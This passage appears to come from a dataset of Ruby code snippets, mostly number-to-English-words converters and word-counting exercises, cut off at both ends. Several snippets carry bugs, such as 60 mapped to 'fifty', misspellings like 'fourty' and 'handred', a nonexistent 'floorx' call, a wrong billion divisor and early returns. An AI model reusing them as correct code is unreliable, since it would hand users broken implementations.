end\n end\n end", "def english_number number\n if number < 0 # No negative numbers.\n return 'Please enter a number that isn\\'t negative.'\n end\n if number == 0\n return 'zero'\n end\n\n # No more special cases! No more returns!\n\n numString = '' # This is the string we will return.\n\n onesPlace = ['one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine']\n tensPlace = ['ten', 'twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety']\n teenagers = ['eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen']\n\n quindecillion = 1_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000\n quattuordecillion = 1_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000\n tredecillion = 1_000_000_000_000_000_000_000_000_000_000_000_000_000_000\n duodecillion = 1_000_000_000_000_000_000_000_000_000_000_000_000_000\n undecillion = 1_000_000_000_000_000_000_000_000_000_000_000_000\n decillion = 1_000_000_000_000_000_000_000_000_000_000_000\n nonillion = 1_000_000_000_000_000_000_000_000_000_000\n octillion = 1_000_000_000_000_000_000_000_000_000\n septillion = 1_000_000_000_000_000_000_000_000\n sextillion = 1_000_000_000_000_000_000_000\n quintillion = 1_000_000_000_000_000_000\n quadrillion = 1_000_000_000_000_000\n trillion = 1_000_000_000_000\n billion = 1_000_000_000\n million = 1_000_000\n\n # \"left\" is how much of the number we still have left to write out.\n # \"write\" is the part we are writing out right now.\n # write and left... get it? :)\n\n #Quindecillion\n left = number\n write = left/quindecillion # How many Quindecillion left to write out?\n left = left - write*quindecillion # Subtract off those Quindecillion.\n\n if write > 0\n # Now here's a really sly trick:\n quindecillions = english_number write\n numString = numString + quindecillions + ' quindecillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Quattuordecillion\n #left = number\n write = left/quattuordecillion # How many Quattuordecillion left to write out?\n left = left - write*quattuordecillion # Subtract off those Quattuordecillion.\n\n if write > 0\n # Now here's a really sly trick:\n quattuordecillions = english_number write\n numString = numString + quattuordecillions + ' quattuordecillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Tredecillion\n #left = number\n write = left/tredecillion # How many Tredecillion left to write out?\n left = left - write*tredecillion # Subtract off those Tredecillion.\n\n if write > 0\n # Now here's a really sly trick:\n tredecillions = english_number write\n numString = numString + tredecillions + ' tredecillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Duodecillion\n #left = number\n write = left/duodecillion # How many Duodecillion left to write out?\n left = left - write*duodecillion # Subtract off those Duodecillion.\n\n if write > 0\n # Now here's a really sly trick:\n duodecillions = english_number write\n numString = numString + duodecillions + ' duodecillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Undecillion\n #left = number\n write = left/undecillion # How many Undecillion left to write out?\n left = left - write*undecillion # Subtract off those Undecillion.\n\n if write > 0\n # Now here's a really sly trick:\n undecillions = english_number write\n numString = numString + undecillions + ' undecillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Decillion\n #left = number\n write = left/decillion # How many Decillion left to write out?\n left = left - write*decillion # Subtract off those Decillion.\n\n if write > 0\n # Now here's a really sly trick:\n decillions = english_number write\n numString = numString + decillions + ' decillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Nonillion\n #left = number\n write = left/nonillion # How many Nonillion left to write out?\n left = left - write*nonillion # Subtract off those Nonillion.\n\n if write > 0\n # Now here's a really sly trick:\n nonillions = english_number write\n numString = numString + nonillions + ' nonillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Octillion\n #left = number\n write = left/octillion # How many Octillion left to write out?\n left = left - write*octillion # Subtract off those Octillion.\n\n if write > 0\n # Now here's a really sly trick:\n octillions = english_number write\n numString = numString + octillions + ' octillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Septillion\n #left = number\n write = left/septillion # How many Septillion left to write out?\n left = left - write*septillion # Subtract off those Septillion.\n\n if write > 0\n # Now here's a really sly trick:\n septillions = english_number write\n numString = numString + septillions + ' septillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Sextillion\n #left = number\n write = left/sextillion # How many Sextillion left to write out?\n left = left - write*sextillion # Subtract off those Sextillion.\n\n if write > 0\n # Now here's a really sly trick:\n sextillions = english_number write\n numString = numString + sextillions + ' sextillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Quintillion\n #left = number\n write = left/quintillion # How many Quintillion left to write out?\n left = left - write*quintillion # Subtract off those Quintillion.\n\n if write > 0\n # Now here's a really sly trick:\n quintillions = english_number write\n numString = numString + quintillions + ' quintillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Quadrillion\n #left = number\n write = left/quadrillion # How many Quadrillion left to write out?\n left = left - write*quadrillion # Subtract off those Quadrillion.\n\n if write > 0\n # Now here's a really sly trick:\n quadrillions = english_number write\n numString = numString + quadrillions + ' quadrillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Trillion\n #left = number\n write = left/trillion # How many Trillion left to write out?\n left = left - write*trillion # Subtract off those Trillion.\n\n if write > 0\n # Now here's a really sly trick:\n trillions = english_number write\n numString = numString + trillions + ' trillion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Billion\n #left = number\n write = left/billion # How many Billion left to write out?\n left = left - write*billion # Subtract off those Billion.\n\n if write > 0\n # Now here's a really sly trick:\n billions = english_number write\n numString = numString + billions + ' billion'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n #Million\n #left = number\n write = left/million # How many millions left to write out?\n left = left - write*million # Subtract off those millions.\n\n if write > 0\n # Now here's a really sly trick:\n millions = english_number write\n numString = numString + millions + ' million'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n write = left/1000 # How many thousands left to write out?\n left = left - write*1000 # Subtract off those thousands.\n\n if write > 0\n # Now here's a really sly trick:\n thousands = english_number write\n numString = numString + thousands + ' thousand'\n\n if left > 0\n # So we don't write 'two thousandfifty-one'...\n numString = numString + ' '\n end\n end\n\n write = left/100 # How many hundreds left to write out?\n left = left - write*100 # Subtract off those hundreds.\n\n if write > 0\n # Now here's a really sly trick:\n hundreds = english_number write\n numString = numString + hundreds + ' hundred'\n # That's called \"recursion\". So what did I just do?\n # I told this method to call itself, but with \"write\" instead of\n # \"number\". Remember that \"write\" is (at the moment) the number of\n # hundreds we have to write out. After we add \"hundreds\" to\n # \"numString\", we add the string ' hundred' after it.\n # So, for example, if we originally called english_number with\n # 1999 (so \"number\" = 1999), then at this point \"write\" would\n # be 19, and \"left\" would be 99. The laziest thing to do at this\n # point is to have english_number write out the 'nineteen' for us,\n # then we write out ' hundred', and then the rest of\n # english_number writes out 'ninety-nine'.\n\n if left > 0\n # So we don't write 'two hundredfifty-one'...\n numString = numString + ' '\n end\n end\n\n write = left/10 # How many tens left to write out?\n left = left - write*10 # Subtract off those tens.\n\n if write > 0\n if ((write == 1) and (left > 0))\n # Since we can't write \"tenty-two\" instead of \"twelve\",\n # we have to make a special exception for these.\n numString = numString + teenagers[left-1]\n # The \"-1\" is because teenagers[3] is 'fourteen', not 'thirteen'.\n\n # Since we took care of the digit in the ones place already,\n # we have nothing left to write.\n left = 0\n else\n numString = numString + tensPlace[write-1]\n # The \"-1\" is because tensPlace[3] is 'forty', not 'thirty'.\n end\n\n if left > 0\n # So we don't write 'sixtyfour'...\n numString = numString + '-'\n end\n end\n\n write = left # How many ones left to write out?\n left = 0 # Subtract off those ones.\n\n if write > 0\n numString = numString + onesPlace[write-1]\n # The \"-1\" is because onesPlace[3] is 'four', not 'three'.\n end\n\n # Now we just return \"numString\"...\n numString\nend", "def words(number: T.unsafe(nil), spaces_allowed: T.unsafe(nil)); end", "def nums_to_words() \n number_array = @number.to_s.split(\"\").map! {|item| item.to_i}\n if number_array.length === 4\n thousands_array = [number_array.shift]\n space_array = [three_array(thousands_array), \"thousand\"] \n num_total = 0\n number_array.each do |num|\n num_total += num\n end\n if num_total !=0\n space_array.push(three_array(number_array))\n end\n return space_array.join(\" \")\n end\n three_array(number_array)\n end", "def letter_counts(word)\nend", "def textify(number)\n return UNITS[number] if number < UNITS.length\n\n tens, units = number.divmod(10)\n hundreds, tens = tens.divmod(10)\n\n out = ''\n out << \"#{UNITS[hundreds]} hundred \" if hundreds > 0\n out << \"#{TENS[tens]}\" if tens > 0 && number >= 20\n out << \"-\" if tens > 0 && units > 0\n out << \"#{UNITS[units]}\" if units > 0\n out.strip\n end", "def how_many_words(text=\"I'm a cheeky monkey, dude\", num=4)\n x_words = []\n word_array = text.split(\" \")\n word_array.each do |word|\n if word.length == num\n x_words << word\n end\n end\n x_words\nend", "def string_length(num)\n if num == 0\n puts \"You have to give me something to work with, here.\"\n elsif num <= 10\n puts \"You're not much with words, are you?\"\n elsif num <= 20\n puts \"You've got a lot to say.\"\n else\n puts \"Sounds like you had quite a day!\"\n end\n end", "def max_letter_frequency_per_word(sentence)\n\tnumbers_larger_than(letter_per_word(words_longer_than(sentence, 3), \"e\"))\nend", "def word_worth(word)\n word.chars.sum { |char| char.ord - 'A'.ord + 1 }\nend", "def word_sizes(string)\n clean_string = string.gsub(/[^a-zA-Z]/, \" \")\n \n clean_string.split.map { |word| word.size }.tally\n \nend", "def in_words(integer)\n nums_to_words = {\n 1 => \"one\",\n 2 => \"two\",\n 3 => \"three\",\n 4 => \"four\",\n 5 => \"five\",\n 6 => \"six\",\n 7 => \"seven\",\n 8 => \"eight\",\n 9 => \"nine\",\n 10 => \"ten\",\n 11 => \"eleven\",\n 12 => \"twelve\",\n 13 => \"thirteen\",\n 14 => \"fourteen\",\n 15 => \"fifteen\",\n 16 => \"sixteen\",\n 17 => \"seventeen\",\n 18 => \"eighteen\",\n 19 => \"nineteen\",\n 20 => \"twenty\",\n 30 => \"thirty\",\n 40 => \"fourty\",\n 50 => \"fifty\",\n 60 => \"sixty\",\n 70 => \"seventy\",\n 80 => \"eighty\",\n 90 => \"ninety\",\n 100 => \"one hundred\"\n }\n \n if nums_to_words.include? (integer)\n p nums_to_words[integer]\n elsif\n int_arr = integer.to_s.chars\n second_word = int_arr.pop.to_i\n first_word = int_arr.push(\"0\").join.to_i\n p nums_to_words[first_word] + \" \" + nums_to_words[second_word]\n end\nend", "def letter_counts(word) =\n word.chars.each_with_object(Hash.new(0)) { |c, counts| counts[c] += 1 }", "def long_word_count(text)\n count = 0\n text.split(\" \").each do |element|\n if element.split(\"\").length > 7\n count += 1\n end\n end\n return count\n \nend", "def long_word_count(text)\n text.split.select {|word| word.length > 7}.count\nend", "def words(number: T.unsafe(nil), supplemental: T.unsafe(nil), exclude_words: T.unsafe(nil)); end", "def to_words(n)\n\nwords_hash = {0=>\"zero\",1=>\"one\",2=>\"two\",3=>\"three\",4=>\"four\",5=>\"five\",6=>\"six\",7=>\"seven\",8=>\"eight\",9=>\"nine\",\n 10=>\"ten\",11=>\"eleven\",12=>\"twelve\",13=>\"thirteen\",14=>\"fourteen\",15=>\"fifteen\",16=>\"sixteen\",\n 17=>\"seventeen\", 18=>\"eighteen\",19=>\"nineteen\",\n 20=>\"twenty\",30=>\"thirty\",40=>\"forty\",50=>\"fifty\",60=>\"sixty\",70=>\"seventy\",80=>\"eighty\",90=>\"ninety\"}\n \nif words_hash.has_key?(n)\n return words_hash[n]\nelsif n <= 99\n\n final_string = \"\"\n remainder = (n%10)\n key_value = n - remainder\n final_string = words_hash[key_value] + \" \" + words_hash[remainder]\n return final_string\n\nelse\n return \"one hundred\"\n\nend\nend", "def specific_word(number)\n # Create specific values for non repetitive words\n case number\n when 0 then return \"zero\"\n when 1 then return \"one\"\n when 2 then return \"two\"\n when 3 then return \"three\"\n when 4 then return \"four\"\n when 5 then return \"five\"\n when 6 then return \"six\"\n when 7 then return \"seven\"\n when 8 then return \"eight\"\n when 9 then return \"nine\"\n when 10 then return \"ten\"\n when 11 then return \"eleven\"\n when 12 then return \"twelve\"\n when 13 then return \"thirteen\"\n when 14 then return \"fourteen\"\n when 15 then return \"fifteen\"\n when 16 then return \"sixteen\"\n when 17 then return \"seventeen\"\n when 18 then return \"eighteen\"\n when 19 then return \"nineteen\"\n when 20 then return \"twenty\"\n when 30 then return \"thirty\"\n when 40 then return \"forty\"\n when 50 then return \"fifty\"\n when 60 then return \"fifty\"\n when 70 then return \"seventy\"\n when 80 then return \"eighty\"\n when 90 then return \"ninety\"\n when 100 then return \"one hundred\"\n end\nend", "def long_number_in_words\n magnitude_part_and_remainder.map(&:in_words).join(magnitude_separator)\n end", "def word(number)\n if number < 20\n return specific_word(number)\n else\n return two_digit(number)\n end\nend", "def long_word_count(text)\n #\n # your code goes here\n #\n counter = 0\n text.split.each do |word|\n counter += 1 if word.length > 7\n end\n\n counter\nend", "def number_to_words_hash\n num_hash = Hash.new\n num_hash[0] = \"zero\"\n num_hash[1] = \"one\"\n num_hash[2] = \"two\"\n num_hash[3] = \"three\"\n num_hash[4] = \"four\"\n num_hash[5] = \"five\"\n num_hash[6] = \"six\"\n num_hash[7] = \"seven\"\n num_hash[8] = \"eight\"\n num_hash[9] = \"nine\"\n num_hash[10] = \"ten\"\n num_hash[11] = \"eleven\"\n num_hash[12] = \"twelve\"\n num_hash[13] = \"thirteen\"\n num_hash[14] = \"fourteen\"\n num_hash[15] = \"fifteen\"\n num_hash[16] = \"sixteen\"\n num_hash[17] = \"seventeen\"\n num_hash[18] = \"eighteen\"\n num_hash[19] = \"nineteen\"\n num_hash[20] = \"twenty\"\n num_hash[30] = \"thirty\"\n num_hash[40] = \"forty\"\n num_hash[50] = \"fifty\"\n num_hash[60] = \"sixty\"\n num_hash[70] = \"seventy\"\n num_hash[80] = \"eighty\"\n num_hash[90] = \"ninety\"\n \n return num_hash\nend", "def long_word_count(text)\n text.split(' ').count{|word| word.length > 7}\nend", "def words_longer_than(array,num)\n new_array = []\n array.map{ |w|\n new_array.push(w.count(\"e\"))\n }\n letter_per_word(new_array, new_array.length)\nend", "def printword(digit)\n ones = ['', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine']\n tens = ['twenty', 'thirty', 'forty', 'fifty', 'sixty', 'seventy', 'eighty', 'ninety']\n tenones = ['ten', 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen','seventeen', 'eighteen', 'nineteen']\n if digit < 10\n return ones[digit]\n elsif digit < 20\n onesplace = digit % 10\n return tenones[onesplace]\n elsif digit < 100\n tensdigit = (digit / 10).floor\n onesdigit = digit % 10\n return \"#{tens[tensdigit - 2]} #{ones[onesdigit]}\"\n elsif digit < 1_000\n hunddigit = (digit / 100).floor\n hundremainder = digit % 100\n return \"#{printword(hunddigit)} hundred #{printword(hundremainder)}\"\n elsif digit < 1_000_000\n thoudigit = (digit / 1000).floorx\n thouremainder = digit % 1000\n return \"#{printword(thoudigit)} thousand #{printword(thouremainder)}\"\n elsif digit < 1_000_000_000\n milldigit = (digit / 1_000_000).floor\n millremainder = digit % 1_000_000\n return \"#{printword(milldigit)} million #{printword(millremainder)}\"\n elsif digit < 1_000_000_000_000\n billdigit = (digit / 1_000_000_000).floor\n billremainder = digit % 1_000_000\n return \"#{printword(billdigit)} billion #{printword(billremainder)}\"\n end\nend", "def LetterCountI(str)\n g_word, g_count = '', 0\n str.split.each do |word|\n word.chars.each do |char|\n if word.downcase.count(char) > g_count\n g_count = word.downcase.count(char)\n g_word = word\n end\n end\n end\n\n g_count <= 1 ? -1 : g_word\nend", "def english(x)\n dictionary = {\n 1000 => 'onethousand',\n 100 => 'handred',\n 90 => 'ninety',\n 80 => 'eighty',\n 70 => 'seventy',\n 60 => 'sixty',\n 50 => 'fifty',\n 40 => 'forty',\n 30 => 'thirty',\n 20 => 'twenty',\n 19 => 'nineteen',\n 18 => 'eighteen',\n 17 => 'seventeen',\n 16 => 'sixteen',\n 15 => 'fifteen',\n 14 => 'fourteen',\n 13 => 'thirteen',\n 12 => 'twelve',\n 11 => 'eleven',\n 10 => 'ten',\n 9 => 'nine',\n 8 => 'eight',\n 7 => 'seven',\n 6 => 'six',\n 5 => 'five',\n 4 => 'four',\n 3 => 'three',\n 2 => 'two',\n 1 => 'one',\n }\n result = ''\n while x > 0\n dictionary.each do |k, v|\n if x >= k\n if k == 100\n result += dictionary[x / 100] + v\n x %= 100\n if x > 0\n result += 'and'\n end\n else\n result += v\n x -= k\n end\n break\n end\n end\n end\n result\nend", "def word_sizes(str)\n str = str.gsub(/[^a-zA-Z ]/,\"\")\n str.split.map { |element| element.size }.tally\nend", "def conversion(number)\n words_hash = {0=>\"zero\",1=>\"one\",2=>\"two\",3=>\"three\",4=>\"four\",5=>\"five\",6=>\"six\",7=>\"seven\",8=>\"eight\",9=>\"nine\",\n 10=>\"ten\",11=>\"eleven\",12=>\"twelve\",13=>\"thirteen\",14=>\"fourteen\",15=>\"fifteen\",16=>\"sixteen\",\n 17=>\"seventeen\", 18=>\"eighteen\",19=>\"nineteen\",\n 20=>\"twenty\",30=>\"thirty\",40=>\"forty\",50=>\"fifty\",60=>\"sixty\",70=>\"seventy\",80=>\"eighty\",90=>\"ninety\"}\n if words_hash.has_key?number\n return words_hash[number] \n else\n num_string = number.to_s.split(//)\n while num_string.size > 0 \n if num_string.size == 2\n return(\"and\")\n return words_hash[(num_string.join.to_i) - (num_string.join.to_i)%10] \n num_string.shift\n end\n if num_string.size > 4\n return(words_hash[(num_string[0,2].join.to_i) - (num_string[0,2].join.to_i) % 10])\n else\n return(words_hash[num_string[0].to_i]) \n end\n return(scale[num_string.size])\n num_string.shift\n end\n end\n\nend", "def to_w # to_w is for 'to words'\n # Numbers up to 20 are quite irregular. We need a specific block of code for tens\n tens = lambda do |x|\n if x < 20\n @@english_numbers[x.to_s.to_sym]\n else\n decs = x.to_s[0] + '0'\n units = x.to_s[-1]\n \"#{@@english_numbers[decs.to_sym]} #{@@english_numbers[units.to_sym]}\"\n end\n end\n # Use a recursive lambda to call itself as many times as needed until the whole number is written\n sentence = lambda do |num|\n num_length = num.to_s.length\n if num_length < 3 # If number is lower than 99 use tens block\n tens.call(num)\n else\n # Create a temporary hash to keep track of the magnitude of the piece of number we are working with\n new_structure = @@structure.select{|k,v| [k,v] if k<num_length}\n digits = new_structure[0][0]\n following_digits = (new_structure.length == 1) ? 2 : new_structure[1][0]\n word = new_structure[0][1]\n if num <= (10**digits - 1) # Get feeper into recursion if the number is smaller than the current order of magnitude\n sentence.call(num)\n else\n # Split the word into a part belonging to the current order of magnitude and a rest\n left = num.to_s[0..-(digits+1)].to_i\n rest = num.to_s[-digits..-1].to_i\n # Apply English grammar rules and exectute the same code recursively onto each side\n if rest == 0\n \"#{sentence.call(left)} #{word}\"\n elsif rest < 10**following_digits\n \"#{sentence.call(left)} #{word} and #{sentence.call(rest)}\" \n else\n \"#{sentence.call(left)} #{word} #{sentence.call(rest)}\"\n end\n end\n end\n end\n # Execute the recursive lambda\n sentence.call(self)\n end", "def in_english\n num = self.to_i\n o = ''\n if num < 0\n o += 'negative '\n num = num.abs\n end\n if num.zero?\n o += 'zero'\n else\n sets = []\n i = 0\n f = false\n while !num.zero?\n num, r = num.divmod(1000)\n sets << LOTS[i] + (!sets.empty? ? (f ? ' and' : ',') : '') if !(r.zero? || i.zero?)\n f = true if i.zero? && r < 100\n\n sets << SUB_ONE_THOUSAND[r] if !r.zero?\n i = i.succ\n\n end\n o += sets.reverse.join(' ')\n end\n\n o += ' point ' + self.to_s.split(/\\./, 2).last.scan(/./).map { |n| SUB_ONE_THOUSAND[n.to_i] }.join(' ') if self.class == Float\n o\n end", "def word_number\n text.split.size\n end", "def english?(text)\n num_english = 0\n text_words = text.split(\" \")\n text_words.each do |text_word|\n WORDS_BY_FREQUENCY.each do |dict_word|\n if text_word == dict_word.upcase\n num_english += 1\n break\n end\n end\n end\n return num_english.to_f / text_words.length > 0.75\nend", "def count_arara(num)\n\tnum_adak = (num/2).floor\n\tnum_anane = num%2\n\tphrase = \"adak \"*num_adak + \"anane\"*num_anane\n\tphrase = phrase.sub(/[\" \"]\\Z/, \"\")\n\tphrase\nend", "def word_sizes(input)\n hash = {}\n input .split.each do |word|\n num_of_letters = word.chars.count\n if hash.has_key?(num_of_letters)\n hash[num_of_letters] += 1\n else\n hash[num_of_letters] = 1\n end\n end\n hash\nend", "def count_letters(word)\r\n letter_count = Hash.new(0)\r\n word.chars { |letter| letter_count[letter.to_sym] += 1 }\r\n # Note: a better way to do the following is:\r\n #letter_count.values.max\r\n # but the requrements say to use .each, so...\r\n max = 0\r\n letter_count.each do |key, value|\r\n if value > max\r\n max = value\r\n end\r\n end\r\n max\r\n end", "def word_count(book_text)\n count = 0\n book_text.split(/[^-a-zA-Z']/).each do |word|\n count += 1 if word.length > 0\n # DEBUG puts count.to_s + ': \"' + word + '\"'\n end\n return count\nend", "def convert_to_english(num, add_and = false)\n \n numparts = []\n hundreds = (num - (num % 100)) / 100\n \n num -= hundreds * 100\n\n if hundreds > 0\n numparts.push \"#{NAMEMAP[hundreds]} hundred\"\n numparts.push \"and\" if add_and\n end\n\n return numparts.first if num == 0\n\n tens = TENS.find { |i| num - i < 10 }\n ones = num - tens\n\n if tens == 10\n ones = num\n tens = 0\n end\n\n # numparts.push tens > 0 ? \"#{NAMEMAP[tens]}-#{NAMEMAP[ones]}\" : NAMEMAP[ones]\n\n tt = [\n tens > 0 ? NAMEMAP[tens] : nil,\n ones > 0 ? NAMEMAP[ones] : nil\n ].compact.join('-')\n \n numparts.push tt\n\n numparts.join(' ')\n end", "def english_number number\n\n # no negative numbers\n\n if number < 0\n return 'Pleases enter a number zero or greater.'\n end\n\n num_string = '' # This is the string we will return\n\n ones_place = ['one', 'two', 'three',\n 'four', 'five', 'six',\n 'seven', 'eight', 'nine']\n tens_place = ['ten', 'twenty', 'thirty',\n 'forty', 'fifty', 'sixty',\n 'seventy', 'eighty', 'ninety']\n teenagers = ['eleven', 'twelve', 'thirteen',\n 'fourteen', 'fifteen', 'sixteen',\n 'seventeen', 'eighteen', 'nineteen']\n suffixes = [['googol', 100],\n ['vigintillion', 63],\n ['novemdecillion', 60],\n ['octodecillion', 57],\n ['septendecillion', 54],\n ['sexdecillion', 51],\n ['quindecillion', 48],\n ['quattuordecillion', 45],\n ['tredecillion', 42],\n ['duodecillion', 39],\n ['undecillion', 36],\n ['decillion', 33],\n ['nonillion', 30],\n ['octillion', 27],\n ['septillion', 24],\n ['sextillion', 21],\n ['quintillion', 18],\n ['quadrillion', 15],\n ['trillion', 12],\n ['billion', 9],\n ['million', 6],\n ['thousand', 3],\n ['hundred', 2]]\n\n # \"left\" is how much of the number\n # we still have left to write out.\n # \"write\" is the part we are\n # writing out right now.\n\n left = number\n\n\n suffixes.each do |item|\n suffix, size = item\n size = 10 ** size\n\n write = left / size # How many zillions left?\n left = left - write * size # Subtract off those zillions.\n\n if write > 0 # we have at least one zillion\n # find the hundeds, tens, and ones of zillions\n number_of = english_number write\n num_string = num_string + number_of + ' ' + suffix\n if left > 0\n num_string = num_string + ' '\n end\n end\n end\n\n write = left / 10 # How many tens left?\n left = left - write * 10 # Subtract off those tens\n\n if write > 0\n if write == 1 and left > 0\n num_string = num_string + teenagers[left - 1]\n left = 0\n else\n num_string = num_string + tens_place[write - 1]\n end\n\n if left > 0\n num_string = num_string + '-'\n end\n end\n\n write = left # How many one left to write out?\n left = 0 # Subtract off those ones.\n if write > 0\n num_string = num_string + ones_place[write - 1]\n end\n\n if num_string == ''\n # The only way num_string could be empty\n # is if \"number\" is 0.\n return 'zero'\n end\n\n num_string\nend", "def numwords( number, hashargs={} )\n\t\tnum = number.to_s\n\t\tconfig = NumwordDefaults.merge( hashargs )\n\t\traise \"Bad chunking option: #{config[:group]}\" unless\n\t\t\tconfig[:group].between?( 0, 3 )\n\n\t\t# Array of number parts: first is everything to the left of the first\n\t\t# decimal, followed by any groups of decimal-delimted numbers after that\n\t\tparts = []\n\n\t\t# Wordify any sign prefix\n\t\tsign = (/\\A\\s*\\+/ =~ num) ? 'plus' : (/\\A\\s*\\-/ =~ num) ? 'minus' : ''\n\n\t\t# Strip any ordinal suffixes\n\t\tord = true if num.sub!( /(st|nd|rd|th)\\Z/, '' )\n\n\t\t# Split the number into chunks delimited by '.'\n\t\tchunks = if !config[:decimal].empty? then\n\t\t\t\t\t if config[:group].nonzero?\n\t\t\t\t\t\t num.split(/\\./)\n\t\t\t\t\t else\n\t\t\t\t\t\t num.split(/\\./, 2)\n\t\t\t\t\t end\n\t\t\t\t else\n\t\t\t\t\t [ num ]\n\t\t\t\t end\n\n\t\t# Wordify each chunk, pushing arrays into the parts array\n\t\tchunks.each_with_index {|chunk,section|\n\t\t\tchunk.gsub!( /\\D+/, '' )\n\n\t\t\t# If there's nothing in this chunk of the number, set it to zero\n\t\t\t# unless it's the whole-number part, in which case just push an\n\t\t\t# empty array.\n\t\t\tif chunk.empty?\n\t\t\t\tif section.zero?\n\t\t\t\t\tparts.push []\n\t\t\t\t\tnext \n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# Split the number section into wordified parts unless this is the\n\t\t\t# second or succeeding part of a non-group number\n\t\t\tunless config[:group].zero? && section.nonzero?\n\t\t\t\tparts.push number_to_words( chunk, config )\n\t\t\telse\n\t\t\t\tparts.push number_to_words( chunk, config.merge(:group => 1) )\n\t\t\tend\t\t\t\t\t\n\t\t}\n\n\t\tdebug_msg \"Parts => #{parts.inspect}\"\n\t\t\n\t\t# Turn the last word of the whole-number part back into an ordinal if\n\t\t# the original number came in that way.\n\t\tif ord && !parts[0].empty?\n\t\t\tparts[0][-1] = ordinal( parts[0].last )\n\t\tend\n\n\t\t# If the caller's expecting an Array return, just flatten and return the\n\t\t# parts array.\n\t\tif config[:asArray]\n\t\t\tunless sign.empty?\n\t\t\t\tparts[0].unshift( sign )\n\t\t\tend\n\t\t\treturn parts.flatten\n\t\tend\n\n\t\t# Catenate each sub-parts array into a whole number part and one or more\n\t\t# post-decimal parts. If grouping is turned on, all sub-parts get joined\n\t\t# with commas, otherwise just the whole-number part is.\n\t\tif config[:group].zero?\n\t\t\tif parts[0].size > 1\n\n\t\t\t\t# Join all but the last part together with commas\n\t\t\t\twholenum = parts[0][0...-1].join( config[:comma] )\n\n\t\t\t\t# If the last part is just a single word, append it to the\n\t\t\t\t# wholenum part with an 'and'. This is to get things like 'three\n\t\t\t\t# thousand and three' instead of 'three thousand, three'.\n\t\t\t\tif /^\\s*(\\S+)\\s*$/ =~ parts[0].last\n\t\t\t\t\twholenum += config[:and] + parts[0].last\n\t\t\t\telse\n\t\t\t\t\twholenum += config[:comma] + parts[0].last\n\t\t\t\tend\n\t\t\telse\n\t\t\t\twholenum = parts[0][0]\n\t\t\tend\n\t\t\tdecimals = parts[1..-1].collect {|part| part.join(\" \")}\n\n\t\t\tdebug_msg \"Wholenum: #{wholenum.inspect}; decimals: #{decimals.inspect}\"\n\n\t\t\t# Join with the configured decimal; if it's empty, just join with\n\t\t\t# spaces.\n\t\t\tunless config[:decimal].empty?\n\t\t\t\treturn sign + ([ wholenum ] + decimals).\n\t\t\t\t\tjoin( \" #{config[:decimal]} \" ).strip\n\t\t\telse\n\t\t\t\treturn sign + ([ wholenum ] + decimals).\n\t\t\t\t\tjoin( \" \" ).strip\n\t\t\tend\n\t\telse\n\t\t\treturn parts.compact.\n\t\t\t\tseparate( config[:decimal] ).\n\t\t\t\tdelete_if {|el| el.empty?}.\n\t\t\t\tjoin( config[:comma] ).\n\t\t\t\tstrip\n\t\tend\n\tend", "def long_word_count(text)\n text.split.count do |word|\n word.length > 7\n end\nend", "def to_string(num)\n\tteens = %w[eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen]\n\tones = %w[one two three four five six seven eight nine]\n\ttens = %w[ten twenty thirty forty fifty sixty seventy eighty ninety]\n\n\tdigits = num.to_s.split(\"\").map { |e| e.to_i }.reverse\n\twords = []\n\twrite_and = false\n\n\tdigits.each_with_index do |n, i|\n\t\tnext if n == 0\n\n\t\tif ((i == 2) || (i == 3))\n\t\t\tif write_and\n\t\t\t\twords.push(\"and\")\n\t\t\t\twrite_and = false\n\t\t\tend\n\t\tend\n\n\t\tcase i\n\t\twhen 0\n\t\t\tif (digits[i+1] == 1)\n\t\t\t\twords.push(teens[n-1])\n\t\t\t\tdigits[i+1] = 0\n\t\t\telse\n\t\t\t\twords.push(ones[n-1])\n\t\t\tend\n\n\t\t\twrite_and = true\n\t\twhen 1\n\t\t\twords.push(tens[n-1])\n\n\t\t\twrite_and = true\n\t\twhen 2\n\t\t\twords.push(\"hundred\")\n\t\t\twords.push(ones[n-1])\n\t\twhen 3\n\t\t\twords.push(\"thousand\")\n\t\t\twords.push(ones[n-1])\n\t\tend\n\tend\n\n\treturn words.reverse.join(\"\")\nend", "def num_to_words int\n\tones_place = [\"zero\",\"one\",\"two\",\"three\",\"four\",\" five\",\"six\",\"seven\",\"eight\",\"nine\",\"ten\"]\n\tteens_place = [\"blank\",\"eleven\",\"twelve\",\"thirteen\", \"fourteen\",\"fifteen\",\"sixteen\",\"seventeen\",\"eighteen\",\"nineteen\"]\n tens_place = 